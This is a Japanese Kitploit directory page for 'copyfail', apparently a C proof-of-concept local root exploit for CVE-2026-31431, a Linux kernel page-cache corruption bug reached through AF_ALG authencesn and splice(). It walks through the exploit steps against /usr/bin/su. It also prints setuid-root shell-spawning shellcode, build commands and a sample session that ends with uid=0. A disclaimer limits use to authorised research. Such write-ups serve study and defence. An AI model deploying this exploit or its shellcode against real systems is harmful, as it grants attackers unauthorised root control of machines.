Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC - authencesn AF_ALG と splice() による Linux カーネルのページキャッシュ破損 | Kitploit
ツール/GitHubGitHub/smarttfoxx/copyfail
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペイロード開発バイナリエクスプロイト
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC - authencesn AF_ALG と splice() による Linux カーネルのページキャッシュ破損

リポジトリを見る
20744ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Copy Fail - CVE-2026-31431 のC言語PoC

CVE-2026-31431(Copy Fail)のローカル権限昇格エクスプロイト(C言語製)。

動作の仕組み

  1. ELF解析: PT_LOADプログラムヘッダを介して/usr/bin/suのエントリポイント仮想アドレスをファイルオフセットに解決します
  2. AF_ALGセットアップ: ゼロキーでauthencesn(hmac(sha256),cbc(aes))にバインドします
  3. 4バイトのページキャッシュ書き込み: シェルコードペイロードの各チャンクについて:
    • sendmsg()はMSG_MOREフラグ付きで、シェルコードバイトをseqno_lo(バイト4〜7)としてAADを送信します
    • splice()はターゲットファイルのページキャッシュページの32バイトをAEAD認証タグとして配信します
    • recv()は復号をトリガーし、authencesnのスクラッチ書き込みがチェーンされたページキャッシュページに到達し、4バイトの制御データを書き込みます。
  4. 権限昇格: execl("/usr/bin/su")が破損したページキャッシュをロードします。40バイトのシェルコード(setuid(0) + execve("/bin/sh"))がsetuid-rootとして実行されます

シェルコード

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; null terminator
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

ビルド

musl-gccまたは静的リンクをサポートする任意のCコンパイラが必要です:

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

またはGCC + glibcの場合:

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

使用方法

root@kitploit:~
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

参考情報

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • Fix commit a664bf3d
  • Introduced by commit 72548b093ee3 (2017)

免責事項

この概念実証コードは、許可されたセキュリティ研究および教育目的のみで提供されています。所有していないシステムや明示的なテスト許可がないシステムへの不正使用は違法です。

ツールをダウンロード